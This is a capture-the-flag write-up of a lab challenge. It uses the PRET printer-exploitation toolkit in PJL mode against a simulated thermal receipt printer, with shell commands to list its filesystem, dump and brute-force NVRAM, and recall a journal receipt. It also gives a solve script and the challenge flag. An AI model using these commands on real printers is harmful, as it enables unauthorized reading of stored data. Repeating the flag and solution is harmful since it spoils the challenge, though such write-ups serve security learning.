Keir and his undercity runners recovered a forgotten Eastreach ration kiosk after Damas Marrowcairn sent clerks to strip the counting terminal and burn the paper ledger. They missed the networked thermal receipt printer bolted beneath the counter. This is a printer challenge, not a kiosk or web-application challenge: the exposed service speaks a raw printer protocol, so PRET in PJL mode is the intended starting point. If the printer still remembers the right transaction, it may hold the authorization token needed to move supplies through Crownspire sealed checkpoints.
A networked thermal printer speaking PJL. The flag lives in NVRAM at an address the printer itself tells you - but reading that address returns zeros, until you realise when the data gets there.
Nothing. No files at all - only a TCP endpoint.
The description names the tool, so start there: PRET, the Printer Exploitation Toolkit, in Printer Job Language (PJL) mode.
$ git clone https://github.com/rub-nds/pret
$ pip install colorama pysnmp requests
$ python3 pret.py 154.57.164.75:30088 pjl
Connection to 154.57.164.75:30088 established
Device: RiverGate RG-T80II Thermal Receipt Printer
Welcome to the pret shell. Type help or ? to list commands.
154.57.164.75:30088:/>
A filesystem, and a device that identifies itself:
154.57.164.75:30088:/> ls
d - config
d - journal
- 97 readme.txt
d - spool
154.57.164.75:30088:/> cat readme.txt
RiverGate RG-T80II raw printer volume.
Electronic journal retention is enabled under 0:/journal.
Conclusion: "Electronic journal retention" is the hint. The printer keeps copies of what it printed, and the challenge text says it "still remembers the right transaction".
PRET is Python 2 era code. Two things break immediately on Python 3.
First, nvram dump dies on a str/bytes mismatch:
$ git diff pjl.py
- file().write(lpath, "") # empty file
+ file().write(lpath, b"") # empty file
- file().append(lpath, data) # write copy of nvram to disk
+ file().append(lpath, data.encode('latin-1'))
Second, commands like site use the Python 2 input() semantics:
$ sed -i '' 's/eval(input(/(input(/g' *.py
Conclusion: With those two patches the toolkit works. Worth knowing before blaming the target for a broken response.
The readme points at 0:/journal. Change volume and look.
154.57.164.75:30088:/> chvol 0
154.57.164.75:30088:/> cd journal
154.57.164.75:30088:/journal> ls
- 17 last.txt
- 191 receipt_0000.txt
- 192 receipt_0001.txt
- 195 receipt_0002.txt
- 241 receipt_0003.txt
The first three receipts are complete and unremarkable:
154.57.164.75:30088:/journal> cat receipt_0000.txt
EASTREACH RATION KIOSK
------------------------------
DATE: 2026-05-31 22:10:04
GATE: RIVER-02
CARGO: LAMP OIL
SEAL FEE: 18.50
AUTH CODE: RG-5812-OK
------------------------------
The fourth is not:
154.57.164.75:30088:/journal> cat receipt_0003.txt
EASTREACH RATION KIOSK
------------------------------
DATE: 2026-06-01 00:17:33
GATE: ASH-03
CARGO: BRINE FILTERS
SEAL FEE: 42.10
AUTH CODE: STORED IN NVRAM
NVRAM REF: EJ_AUTH_0421 ADDR=53264 LEN=60
------------------------------
Conclusion: The other three print their auth code directly; this one says the code is in NVRAM and gives the exact address. 60 bytes at 53264 - about the length of a flag.
The address is known, so dump NVRAM and read it out.
154.57.164.75:30088:/> nvram dump
Writing copy to nvram/154.57.164.75:30088
.MODEL=RG-T80II.FW=3.18EJOURNAL=ON......EJ_LAST=0:/journal/receipt_0003.txt..EJ_AUTH_0421.....
$ strings nvram/154.57.164.75:30088
MODEL=RG-T80II
FW=3.18
EJOURNAL=ON
EJ_LAST=0:/journal/receipt_0003.txt
EJ_AUTH_0421
The key name EJ_AUTH_0421 is there, but no value. Sampling the whole space
changes nothing:
154.57.164.75:30088:/> nvram dump all
Sampling memory space (bs=512, max=262144)
117 blocks found. Writing copy to nvram/154.57.164.75:30088
(same strings, nothing more)
Nor does brute-forcing every address one by one:
$ python3 -c "for a in range(0, 65535): print('nvram read', a)" > read.txt
$ python3 pret.py 154.57.164.64:32355 pjl -iread.txt
$ grep DATA= nv-all1 | grep -v DATA=0 | sed 's,.*=,,' | perl -ne 'print(chr($_))'
MODEL=RG-T80IIFW=3.18EJOURNAL=ONEJ_LAST=0:/journal/receipt_0003.txtEJ_AUTH_0421
And the referenced address itself is empty:
$ dd bs=1 if=nvram/154.57.164.64:32355 skip=53264 count=60 | xxd
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Conclusion: The receipt points at an address that holds nothing. Either the reference is a decoy, or the data is not there yet - and the receipt is not a map but a trigger.
"If the printer still remembers the right transaction" - and the config calls the
mechanism EJOURNAL, electronic journal recall. So the guess is that
reading the receipt is what loads its stored auth code into NVRAM.
154.57.164.75:30088:/> cat journal/receipt_0003.txt
EASTREACH RATION KIOSK
...
NVRAM REF: EJ_AUTH_0421 ADDR=53264 LEN=60
------------------------------
154.57.164.75:30088:/> nvram read 53264
ADDRESS=53264 DATA=72
ASCII="HTB{th3rm4l_j0urn4l_r3c4ll_da55786c26808ac897dac218e049fb29}"
Conclusion: Exactly one cat of the right receipt is enough. The order
matters, not the effort - all the brute forcing in step 3.3 ran against an address that was
still empty, because the recall had not been triggered.
No exploit code - four commands in the PRET shell, in this order. The only prerequisite is the two-line patch to PRET from step 3.1.
#!/bin/sh
# Thermal Receipt - recall the stored auth code out of the printer's journal.
#
# PRET needs two Python 3 fixes first (see writeup section 3.1):
# pjl.py: file().write(lpath, b"") and data.encode('latin-1')
# sed -i '' 's/eval(input(/(input(/g' *.py
python3 pret.py "$1" pjl <<'EOF'
cat journal/last.txt
cat journal/receipt_0003.txt
nvram read 53264
EOF
last.txt names the receipt to use, so the third line is not a hardcoded guess
- on a fresh instance it would point elsewhere.
$ python3 pret.py 154.57.164.75:30088 pjl
Connection to 154.57.164.75:30088 established
Device: RiverGate RG-T80II Thermal Receipt Printer
154.57.164.75:30088:/> cat journal/last.txt
receipt_0003.txt
154.57.164.75:30088:/> cat journal/receipt_0003.txt
EASTREACH RATION KIOSK
------------------------------
DATE: 2026-06-01 00:17:33
GATE: ASH-03
CARGO: BRINE FILTERS
SEAL FEE: 42.10
AUTH CODE: STORED IN NVRAM
NVRAM REF: EJ_AUTH_0421 ADDR=53264 LEN=60
------------------------------
154.57.164.75:30088:/> nvram read 53264
ADDRESS=53264 DATA=72
ASCII="HTB{th3rm4l_j0urn4l_r3c4ll_da55786c26808ac897dac218e049fb29}"
Confirmed against a second instance, which produced the same flag with a different suffix
(...fd927daed899b3b18c905ea6bb5f6fcb) - the token is generated per
deployment.
HTB{th3rm4l_j0urn4l_r3c4ll_da55786c26808ac897dac218e049fb29}
| # | Stage | Mechanism |
|---|---|---|
| 1 | Speak the protocol | The service is a raw PJL printer. PRET in pjl mode gives a shell over
the printer's own filesystem - after two Python 3 patches. |
| 2 | Find the odd receipt | Three journal entries print their auth code; the fourth says
STORED IN NVRAM and names the address
(EJ_AUTH_0421 ADDR=53264 LEN=60). |
| 3 | The address is empty | Dumping NVRAM - by block, by full sample, and by reading all 65535 addresses individually - finds the key name but never a value. Address 53264 is all zeros. |
| 4 | Reading is the trigger | The journal recall loads the stored code into NVRAM when the receipt is read. One
cat journal/receipt_0003.txt, then nvram read 53264 returns
the flag. |
The trap here is that the printer tells the truth and it still does not help. The address in the receipt is correct, the dump tooling works, and the answer is still zeros - because the state being inspected does not exist until the inspection is done in the right order. Hours of brute forcing over 65535 addresses were spent on a location that only fills in after a single unrelated-looking read.